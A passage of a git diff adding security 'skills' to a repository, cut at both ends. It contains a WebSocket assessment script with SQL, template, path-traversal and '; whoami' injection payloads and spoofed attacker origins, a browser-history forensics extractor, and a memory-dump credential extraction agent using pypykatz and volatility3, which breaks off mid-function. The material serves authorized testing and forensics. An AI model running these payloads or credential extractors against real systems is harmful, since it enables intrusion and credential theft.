cookie, channel_ids) -> list` (async) +Subscribes to channels 1-5 to test for IDOR in channel access. + +### `test_rate_limiting(ws_url, cookie, count) -> dict` (async) +Sends 100 rapid messages and checks if the connection is throttled or closed. + +### `run_assessment(ws_url, cookie) -> dict` +Orchestrates all tests and compiles findings. + +## websockets Library Usage + +| Method | Purpose | +|--------|---------| +| `websockets.connect(url, extra_headers)` | Async context manager for WS connection | +| `ws.send(data)` | Send a text frame | +| `ws.recv()` | Receive next frame | +| `asyncio.wait_for(ws.recv(), timeout)` | Receive with timeout | + +## Output Schema + +```json +{ + "target": "wss://target.example.com/ws", + "origin_validation": {"cswsh_vulnerable": true}, + "unauthenticated_access": {"connected": false}, + "injection_tests": [{"payload": {"query": "' OR 1=1--"}, "suspicious": true}], + "rate_limiting": {"rate_limited": false}, + "findings": ["HIGH: Cross-Site WebSocket Hijacking possible"] +} +``` diff --git a/skills/exploiting-websocket-vulnerabilities/scripts/agent.py b/skills/exploiting-websocket-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..00ac0b90 --- /dev/null +++ b/skills/exploiting-websocket-vulnerabilities/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""WebSocket vulnerability assessment agent using websockets and requests.""" + +import argparse +import asyncio +import json +import logging +import sys +from typing import List, Optional + +try: + import websockets +except ImportError: + sys.exit("websockets is required: pip install websockets") + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def discover_ws_endpoints(base_url: str) -> List[dict]: + """Probe common WebSocket endpoint paths.""" + paths = ["/ws", "/websocket", "/socket", "/socket.io/?EIO=4&transport=polling", + "/signalr/negotiate", "/chat", "/notifications", "/live", "/api/ws"] + found = [] + for path in paths: + try: + resp = requests.get(f"{base_url}{path}", timeout=5, verify=False, + headers={"Upgrade": "websocket", "Connection": "Upgrade", + "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==", + "Sec-WebSocket-Version": "13"}) + if resp.status_code in (101, 200, 400): + found.append({"path": path, "status": resp.status_code}) + except requests.RequestException: + continue + logger.info("Found %d potential WebSocket endpoints", len(found)) + return found + + +def test_origin_validation(ws_url: str, cookie: str = "") -> dict: + """Test if the WebSocket server validates the Origin header.""" + evil_origins = ["https://evil.example.com", "https://attacker.com", "null"] + results = [] + for origin in evil_origins: + headers = {"Origin": origin} + if cookie: + headers["Cookie"] = cookie + try: + resp = requests.get( + ws_url.replace("wss://", "https://").replace("ws://", "http://"), + headers={**headers, "Upgrade": "websocket", "Connection": "Upgrade", + "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==", + "Sec-WebSocket-Version": "13"}, + timeout=5, verify=False, + ) + results.append({ + "origin": origin, + "status_code": resp.status_code, + "accepted": resp.status_code == 101, + }) + except requests.RequestException as exc: + results.append({"origin": origin, "error": str(exc)}) + + cswsh_vulnerable = any(r.get("accepted") for r in results) + return {"test": "origin_validation", "results": results, "cswsh_vulnerable": cswsh_vulnerable} + + +async def test_no_auth_connect(ws_url: str) -> dict: + """Test if WebSocket connection succeeds without authentication.""" + try: + async with websockets.connect(ws_url, open_timeout=5) as ws: + return {"test": "no_auth", "connected": True, "risk": "HIGH"} + except Exception as exc: + return {"test": "no_auth", "connected": False, "error": str(exc)} + + +async def test_message_injection(ws_url: str, cookie: str = "") -> List[dict]: + """Test WebSocket messages for injection vulnerabilities.""" + injection_payloads = [ + {"action": "search", "query": "' OR 1=1--"}, + {"action": "search", "query": ""}, + {"action": "search", "query": "{{7*7}}"}, + {"action": "search", "query": "${7*7}"}, + {"action": "read", "file": "../../../etc/passwd"}, + {"action": "exec", "cmd": "; whoami"}, + ] + headers = {} + if cookie: + headers["Cookie"] = cookie + + results = [] + try: + async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws: + for payload in injection_payloads: + await ws.send(json.dumps(payload)) + try: + response = await asyncio.wait_for(ws.recv(), timeout=5) + results.append({ + "payload": payload, + "response": response[:300], + "suspicious": any(kw in response.lower() for kw in + ["error", "sql", "root:", "uid=", "49"]), + }) + except asyncio.TimeoutError: + results.append({"payload": payload, "response": "TIMEOUT"}) + except Exception as exc: + results.append({"error": str(exc)}) + + return results + + +async def test_idor_channels(ws_url: str, cookie: str = "", + channel_ids: Optional[List[int]] = None) -> List[dict]: + """Test for IDOR by subscribing to other users' channels.""" + ids = channel_ids or list(range(1, 6)) + results = [] + headers = {"Cookie": cookie} if cookie else {} + try: + async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws: + for cid in ids: + msg = json.dumps({"type": "subscribe", "channel_id": cid}) + await ws.send(msg) + try: + resp = await asyncio.wait_for(ws.recv(), timeout=5) + results.append({"channel_id": cid, "response": resp[:200], "accessible": "error" not in resp.lower()}) + except asyncio.TimeoutError: + results.append({"channel_id": cid, "response": "TIMEOUT"}) + except Exception as exc: + results.append({"error": str(exc)}) + return results + + +async def test_rate_limiting(ws_url: str, cookie: str = "", count: int = 100) -> dict: + """Test if message rate limiting is enforced.""" + import time + headers = {"Cookie": cookie} if cookie else {} + try: + async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws: + start = time.time() + sent = 0 + for i in range(count): + try: + await ws.send(json.dumps({"type": "ping", "seq": i})) + sent += 1 + except websockets.ConnectionClosed: + break + elapsed = time.time() - start + return { + "test": "rate_limiting", + "messages_sent": sent, + "target_count": count, + "elapsed_seconds": round(elapsed, 2), + "rate_limited": sent < count, + } + except Exception as exc: + return {"test": "rate_limiting", "error": str(exc)} + + +def run_assessment(ws_url: str, cookie: str = "") -> dict: + """Run complete WebSocket security assessment.""" + origin_test = test_origin_validation(ws_url, cookie) + + loop = asyncio.new_event_loop() + no_auth = loop.run_until_complete(test_no_auth_connect(ws_url)) + injections = loop.run_until_complete(test_message_injection(ws_url, cookie)) + idor = loop.run_until_complete(test_idor_channels(ws_url, cookie)) + rate = loop.run_until_complete(test_rate_limiting(ws_url, cookie)) + loop.close() + + findings = [] + if origin_test.get("cswsh_vulnerable"): + findings.append("HIGH: Cross-Site WebSocket Hijacking possible (no Origin validation)") + if no_auth.get("connected"): + findings.append("HIGH: WebSocket accepts unauthenticated connections") + if any(i.get("suspicious") for i in injections if isinstance(i, dict)): + findings.append("MEDIUM: Potential injection in WebSocket messages") + if not rate.get("rate_limited", True): + findings.append("MEDIUM: No message rate limiting detected") + + return { + "target": ws_url, + "origin_validation": origin_test, + "unauthenticated_access": no_auth, + "injection_tests": injections, + "idor_tests": idor, + "rate_limiting": rate, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="WebSocket Vulnerability Assessment Agent") + parser.add_argument("--url", required=True, help="WebSocket URL (wss://...)") + parser.add_argument("--cookie", default="", help="Session cookie") + parser.add_argument("--output", default="websocket_report.json") + args = parser.parse_args() + + report = run_assessment(args.url, args.cookie) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-browser-history-artifacts/LICENSE b/skills/extracting-browser-history-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/extracting-browser-history-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-browser-history-artifacts/references/api-reference.md b/skills/extracting-browser-history-artifacts/references/api-reference.md new file mode 100644 index 00000000..99bb57fd --- /dev/null +++ b/skills/extracting-browser-history-artifacts/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Browser History Extraction Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| sqlite3 | stdlib | Query Chrome/Firefox SQLite databases | +| csv | stdlib | Export results to CSV format | + +## CLI Usage + +```bash +python scripts/agent.py \ + --chrome-dir "/mnt/evidence/Users/suspect/AppData/Local/Google/Chrome/User Data/Default" \ + --firefox-dir "/mnt/evidence/Users/suspect/AppData/Roaming/Mozilla/Firefox/Profiles/abc.default" \ + --output-dir /cases/analysis/ \ + --output browser_report.json +``` + +## Functions + +### `chrome_time_to_utc(chrome_ts) -> str` +Converts Chrome/WebKit timestamp (microseconds since 1601-01-01) to ISO-8601 UTC string. + +### `firefox_time_to_utc(ff_ts) -> str` +Converts Firefox timestamp (microseconds since Unix epoch) to ISO-8601 UTC string. + +### `extract_chrome_history(db_path, limit) -> list` +Queries the `urls` table from Chrome's `History` SQLite DB. Returns URL, title, last_visit, visit_count. + +### `extract_chrome_downloads(db_path, limit) -> list` +Queries the `downloads` table for file path, source URL, size, timestamps, and danger type. + +### `extract_chrome_cookies(db_path, limit) -> list` +Queries the `cookies` table. Note: cookie values are DPAPI-encrypted on Windows. + +### `extract_firefox_history(db_path, limit) -> list` +Queries `moz_places` JOIN `moz_historyvisits` from Firefox `places.sqlite`. + +### `extract_firefox_cookies(db_path, limit) -> list` +Queries `moz_cookies` from Firefox `cookies.sqlite`. + +### `export_to_csv(data, output_path)` +Writes list of dicts to CSV with headers. + +### `generate_report(chrome_dir, firefox_dir, output_dir) -> dict` +Orchestrates extraction from both browsers and exports CSVs. + +## Browser Database Locations (Windows) + +| Browser | Path | +|---------|------| +| Chrome | `%LOCALAPPDATA%\Google\Chrome\User Data\Default\History` | +| Edge | `%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History` | +| Firefox | `%APPDATA%\Mozilla\Firefox\Profiles\*.default\places.sqlite` | + +## Timestamp Formats + +| Browser | Epoch | Unit | +|---------|-------|------| +| Chrome/Edge | 1601-01-01 | Microseconds | +| Firefox | 1970-01-01 | Microseconds | diff --git a/skills/extracting-browser-history-artifacts/scripts/agent.py b/skills/extracting-browser-history-artifacts/scripts/agent.py new file mode 100644 index 00000000..e767f28e --- /dev/null +++ b/skills/extracting-browser-history-artifacts/scripts/agent.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +"""Browser history artifact extraction agent using sqlite3 for Chrome/Firefox/Edge forensics.""" + +import argparse +import csv +import json +import logging +import os +import sqlite3 +import sys +from datetime import datetime, timedelta +from typing import List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +CHROME_EPOCH = datetime(1601, 1, 1) +UNIX_EPOCH = datetime(1970, 1, 1) + + +def chrome_time_to_utc(chrome_ts: int) -> str: + """Convert Chrome/WebKit timestamp (microseconds since 1601-01-01) to ISO UTC.""" + if not chrome_ts or chrome_ts < 0: + return "" + try: + dt = CHROME_EPOCH + timedelta(microseconds=chrome_ts) + return dt.isoformat() + "Z" + except (OverflowError, ValueError): + return "" + + +def firefox_time_to_utc(ff_ts: int) -> str: + """Convert Firefox timestamp (microseconds since Unix epoch) to ISO UTC.""" + if not ff_ts or ff_ts < 0: + return "" + try: + dt = UNIX_EPOCH + timedelta(microseconds=ff_ts) + return dt.isoformat() + "Z" + except (OverflowError, ValueError): + return "" + + +def extract_chrome_history(db_path: str, limit: int = 5000) -> List[dict]: + """Extract browsing history from Chrome/Edge History database.""" + if not os.path.exists(db_path): + logger.warning("Chrome History DB not found: %s", db_path) + return [] + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT urls.url, urls.title, urls.last_visit_time, urls.visit_count, urls.typed_count + FROM urls ORDER BY urls.last_visit_time DESC LIMIT ? + """, (limit,)) + rows = cursor.fetchall() + conn.close() + results = [] + for url, title, last_visit, visit_count, typed_count in rows: + results.append({ + "url": url, "title": title or "", + "last_visit": chrome_time_to_utc(last_visit), + "visit_count": visit_count, "typed_count": typed_count, + }) + logger.info("Extracted %d Chrome history entries from %s", len(results), db_path) + return results + + +def extract_chrome_downloads(db_path: str, limit: int = 1000) -> List[dict]: + """Extract downloads from Chrome/Edge History database.""" + if not os.path.exists(db_path): + return [] + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT current_path, tab_url, total_bytes, start_time, end_time, mime_type, danger_type + FROM downloads ORDER BY start_time DESC LIMIT ? + """, (limit,)) + rows = cursor.fetchall() + conn.close() + return [{ + "path": r[0], "source_url": r[1], "size_bytes": r[2], + "start_time": chrome_time_to_utc(r[3]), "end_time": chrome_time_to_utc(r[4]), + "mime_type": r[5], "danger_type": r[6], + } for r in rows] + + +def extract_chrome_cookies(db_path: str, limit: int = 5000) -> List[dict]: + """Extract cookies from Chrome Cookies database.""" + if not os.path.exists(db_path): + return [] + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT host_key, name, path, creation_utc, last_access_utc, is_secure, is_httponly + FROM cookies ORDER BY last_access_utc DESC LIMIT ? + """, (limit,)) + rows = cursor.fetchall() + conn.close() + return [{ + "host": r[0], "name": r[1], "path": r[2], + "created": chrome_time_to_utc(r[3]), "last_access": chrome_time_to_utc(r[4]), + "secure": bool(r[5]), "httponly": bool(r[6]), + } for r in rows] + + +def extract_firefox_history(db_path: str, limit: int = 5000) -> List[dict]: + """Extract browsing history from Firefox places.sqlite.""" + if not os.path.exists(db_path): + logger.warning("Firefox places.sqlite not found: %s", db_path) + return [] + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT moz_places.url, moz_places.title, moz_historyvisits.visit_date, + moz_places.visit_count, moz_historyvisits.visit_type + FROM moz_places + JOIN moz_historyvisits ON moz_places.id = moz_historyvisits.place_id + ORDER BY moz_historyvisits.visit_date DESC LIMIT ? + """, (limit,)) + rows = cursor.fetchall() + conn.close() + return [{ + "url": r[0], "title": r[1] or "", + "visit_date": firefox_time_to_utc(r[2]), + "visit_count": r[3], "visit_type": r[4], + } for r in rows] + + +def extract_firefox_cookies(db_path: str, limit: int = 5000) -> List[dict]: + """Extract cookies from Firefox cookies.sqlite.""" + if not os.path.exists(db_path): + return [] + conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute(""" + SELECT host, name, path, creationTime, lastAccessed, isSecure, isHttpOnly + FROM moz_cookies ORDER BY lastAccessed DESC LIMIT ? + """, (limit,)) + rows = cursor.fetchall() + conn.close() + return [{ + "host": r[0], "name": r[1], "path": r[2], + "created": firefox_time_to_utc(r[3]), "last_access": firefox_time_to_utc(r[4]), + "secure": bool(r[5]), "httponly": bool(r[6]), + } for r in rows] + + +def export_to_csv(data: List[dict], output_path: str) -> None: + """Export extracted data to CSV.""" + if not data: + return + with open(output_path, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=data[0].keys()) + writer.writeheader() + writer.writerows(data) + logger.info("Exported %d rows to %s", len(data), output_path) + + +def generate_report(chrome_dir: str = "", firefox_dir: str = "", + output_dir: str = ".") -> dict: + """Generate comprehensive browser forensics report.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "browsers": {}} + + if chrome_dir and os.path.isdir(chrome_dir): + history = extract_chrome_history(os.path.join(chrome_dir, "History")) + downloads = extract_chrome_downloads(os.path.join(chrome_dir, "History")) + cookies = extract_chrome_cookies(os.path.join(chrome_dir, "Cookies")) + report["browsers"]["chrome"] = { + "history_count": len(history), "download_count": len(downloads), + "cookie_count": len(cookies), + } + export_to_csv(history, os.path.join(output_dir, "chrome_history.csv")) + export_to_csv(downloads, os.path.join(output_dir, "chrome_downloads.csv")) + + if firefox_dir and os.path.isdir(firefox_dir): + history = extract_firefox_history(os.path.join(firefox_dir, "places.sqlite")) + cookies = extract_firefox_cookies(os.path.join(firefox_dir, "cookies.sqlite")) + report["browsers"]["firefox"] = { + "history_count": len(history), "cookie_count": len(cookies), + } + export_to_csv(history, os.path.join(output_dir, "firefox_history.csv")) + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Browser History Extraction Agent") + parser.add_argument("--chrome-dir", default="", help="Path to Chrome/Edge User Data/Default") + parser.add_argument("--firefox-dir", default="", help="Path to Firefox profile directory") + parser.add_argument("--output-dir", default=".", help="Output directory for CSVs and report") + parser.add_argument("--output", default="browser_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.chrome_dir, args.firefox_dir, args.output_dir) + with open(os.path.join(args.output_dir, args.output), "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved") + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/extracting-config-from-agent-tesla-rat/LICENSE b/skills/extracting-config-from-agent-tesla-rat/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/extracting-config-from-agent-tesla-rat/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-credentials-from-memory-dump/LICENSE b/skills/extracting-credentials-from-memory-dump/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/extracting-credentials-from-memory-dump/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/extracting-credentials-from-memory-dump/references/api-reference.md b/skills/extracting-credentials-from-memory-dump/references/api-reference.md new file mode 100644 index 00000000..28dc6e5d --- /dev/null +++ b/skills/extracting-credentials-from-memory-dump/references/api-reference.md @@ -0,0 +1,76 @@ +# API Reference: Memory Dump Credential Extraction Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| volatility3 | >=2.0 | Memory forensics framework (invoked via subprocess) | +| pypykatz | >=0.6 | Python Mimikatz for LSASS credential extraction | + +## CLI Usage + +```bash +python scripts/agent.py \ + --dump /cases/case-001/memory.raw \ + --output-dir /cases/case-001/analysis/ \ + --output credential_report.json +``` + +## Functions + +### `verify_dump(dump_path) -> dict` +Checks file existence, computes size and SHA-256 of first 1MB for integrity. + +### `run_vol3(dump_path, plugin, extra_args) -> str` +Executes a volatility3 plugin via subprocess with 5-minute timeout. Returns stdout. + +### `get_os_info(dump_path) -> dict` +Runs `windows.info` to identify OS version and build from the memory image. + +### `find_lsass_pid(dump_path) -> int` +Runs `windows.pslist` and locates the LSASS process PID. + +### `extract_hashdump(dump_path) -> list` +Runs `windows.hashdump` to extract SAM database NTLM hashes for local accounts. + +### `extract_lsadump(dump_path) -> list` +Runs `windows.lsadump` to extract LSA secrets (service account passwords). + +### `extract_cachedump(dump_path) -> list` +Runs `windows.cachedump` to extract DCC2 cached domain credential hashes. + +### `run_pypykatz(dump_path, output_dir) -> dict` +Invokes pypykatz in JSON mode against LSASS minidump or full memory image. + +### `parse_pypykatz_creds(pypykatz_data) -> list` +Parses pypykatz JSON output into structured credential list with NTLM, Kerberos, WDigest, DPAPI. + +### `search_cloud_keys(dump_path) -> list` +Uses `windows.strings` to find AWS keys, JWT tokens, and auth strings in memory. + +### `generate_report(dump_path, output_dir) -> dict` +Orchestrates all extraction steps and compiles the final report with summary and actions. + +## Volatility3 Plugins Used + +| Plugin | Purpose | +|--------|---------| +| `windows.info` | OS identification | +| `windows.pslist` | Process listing (find LSASS PID) | +| `windows.hashdump` | SAM hash extraction | +| `windows.lsadump` | LSA secret extraction | +| `windows.cachedump` | Cached domain credential extraction | +| `windows.strings` | String search for cloud keys and tokens | + +## Output Schema + +```json +{ + "source": "/cases/memory.raw", + "sam_hashes": [{"user": "Administrator", "rid": 500, "ntlm_hash": "fc52..."}], + "lsass_creds": [{"user": "CORP\\admin", "cred_types": [{"type": "NTLM", "hash": "..."}]}], + "cloud_keys": [{"type": "AWS Access Key", "value": "AKIA..."}], + "summary": {"sam_hashes": 4, "lsass_creds": 3, "cloud_keys": 1}, + "actions": ["Reset passwords for all local accounts..."] +} +``` diff --git a/skills/extracting-credentials-from-memory-dump/scripts/agent.py b/skills/extracting-credentials-from-memory-dump/scripts/agent.py new file mode 100644 index 00000000..11fb8be5 --- /dev/null +++ b/skills/extracting-credentials-from-memory-dump/scripts/agent.py @@ -0,0 +1,241 @@ +#!/usr/bin/env python3 +"""Memory dump credential extraction agent using volatility3 subprocess and pypykatz.""" + +import argparse +import hashlib +import json +import logging +import os +import re +import subprocess +import sys +from datetime import datetime +from typing import Dict, List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +CLOUD_KEY_PATTERNS = [ + (r"AKIA[A-Z0-9]{16}", "AWS Access Key"), + (r"ASIA[A-Z0-9]{16}", "AWS Temp Key"), + (r"eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+", "JWT/Azure Token"), +] + +AUTH_STRING_PATTERNS = [ + r"(?i)bearer\s+[A-Za-z0-9_\-\.]+", + r"(?i)authorization:\s*\S+", + r"(?i)api[_-]key[=:]\s*\S+", + r"(?i)password[=:]\s*\S+", +] + + +def verify_dump(dump_path: str) -> dict: + """Verify memory dump exists and compute hash.""" + if not os.path.isfile(dump_path): + logger.error("Memory dump not found: %s", dump_path) + return {"valid": False} + size = os.path.getsize(dump_path) + with open(dump_path, "rb") as f: + sha256 = hashlib.sha256(f.read(1024 * 1024)).hexdigest() + return {"valid": True, "size_bytes": size, "sha256_1mb": sha256} + + +def run_vol3(dump_path: str, plugin: str, extra_args: Optional[List[str]] = None) -> str: + """Run a volatility3 plugin and return stdout.""" + cmd = ["vol", "-f", dump_path, plugin] + if extra_args: + cmd.extend(extra_args) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.returncode != 0 and result.stderr: + logger.warning("vol3 %s stderr: %s", plugin, result.stderr[:200]) + return result.stdout + except FileNotFoundError: + logger.error("volatility3 (vol) not found in PATH") + return "" + except subprocess.TimeoutExpired: + logger.error("vol3 %s timed out", plugin) + return "" + + +def get_os_info(dump_path: str) -> dict: + """Identify OS version from memory dump.""" + output = run_vol3(dump_path, "windows.info") + info = {} + for line in output.splitlines(): + if "\t" in line: + parts = line.split("\t", 1) + if len(parts) == 2: + info[parts[0].strip()] = parts[1].strip() + return info + + +def find_lsass_pid(dump_path: str) -> Optional[int]: + """Find LSASS process PID from process list.""" + output = run_vol3(dump_path, "windows.pslist") + for line in output.splitlines(): + if "lsass.exe" in line.lower(): + parts = line.split() + for p in parts: + if p.isdigit(): + return int(p) + return None + + +def extract_hashdump(dump_path: str) -> List[dict]: + """Extract SAM hashes using windows.hashdump.""" + output = run_vol3(dump_path, "windows.hashdump") + results = [] + for line in output.splitlines(): + parts = line.split() + if len(parts) >= 4 and parts[1].isdigit(): + results.append({ + "user": parts[0], "rid": int(parts[1]), + "lm_hash": parts[2], "ntlm_hash": parts[3], + }) + logger.info("Extracted %d SAM hashes", len(results)) + return results + + +def extract_lsadump(dump_path: str) -> List[dict]: + """Extract LSA secrets using windows.lsadump.""" + output = run_vol3(dump_path, "windows.lsadump") + results = [] + for line in output.splitlines(): + line = line.strip() + if line and not line.startswith("Offset") and not line.startswith("-"): + results.append({"raw": line}) + logger.info("Extracted %d LSA secret entries", len(results)) + return results + + +def extract_cachedump(dump_path: str) -> List[dict]: + """Extract cached domain credentials using windows.cachedump.""" + output = run_vol3(dump_path, "windows.cachedump") + results = [] + for line in output.splitlines(): + parts = line.split() + if len(parts) >= 3 and parts[0] not in ("User", "---"): + results.append({"user": parts[0], "domain": parts[1], "dcc2_hash": parts[2] if len(parts) > 2 else ""}) + logger.info("Extracted %d cached domain credentials", len(results)) + return results + + +def run_pypykatz(dump_path: str, output_dir: str) -> dict: + """Run pypykatz against LSASS minidump or full memory for credential extraction.""" + lsass_dmp = os.path.join(output_dir, "lsass.dmp") + target = lsass_dmp if os.path.isfile(lsass_dmp) else dump_path + mode = "minidump" if target == lsass_dmp else "rekall" + cmd = ["pypykatz", "lsa", mode, target, "--json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if result.stdout: + return json.loads(result.stdout) + except FileNotFoundError: + logger.warning("pypykatz not found; skipping LSASS credential extraction") + except (json.JSONDecodeError, subprocess.TimeoutExpired) as exc: + logger.warning("pypykatz error: %s", exc) + return {} + + +def parse_pypykatz_creds(pypykatz_data: dict) -> List[dict]: + """Parse pypykatz JSON output into structured credential list.""" + creds = [] + for session_key, session in pypykatz_data.get("logon_sessions", {}).items(): + username = session.get("username", "") + domain = session.get("domainname", "") + if not username or username == "(null)": + continue + entry = {"user": f"{domain}\\{username}", "sid": session.get("sid", ""), + "logon_server": session.get("logon_server", ""), + "logon_time": session.get("logon_time", ""), "cred_types": []} + for msv in session.get("msv_creds", []): + if msv.get("NThash"): + entry["cred_types"].append({"type": "NTLM", "hash": msv["NThash"]}) + for kerb in session.get("kerberos_creds", []): + if kerb.get("password"): + entry["cred_types"].append({"type": "Kerberos_password", "value": kerb["password"]}) + for ticket in kerb.get("tickets", []): + entry["cred_types"].append({"type": "Kerberos_ticket", + "server": ticket.get("server", ""), "enc_type": ticket.get("enc_type", "")}) + for wd in session.get("wdigest_creds", []): + if wd.get("password"): + entry["cred_types"].append({"type": "WDigest", "value": wd["password"]}) + for dpapi in session.get("dpapi_creds", []): + if dpapi.get("masterkey"): + entry["cred_types"].append({"type": "DPAPI_masterkey", "key": dpapi["masterkey"][:40]}) + if entry["cred_types"]: + creds.append(entry) + return creds + + +def search_cloud_keys(dump_path: str) -> List[dict]: + """Search memory strings for cloud credentials and auth tokens.""" + output = run_vol3(dump_path, "windows.strings", 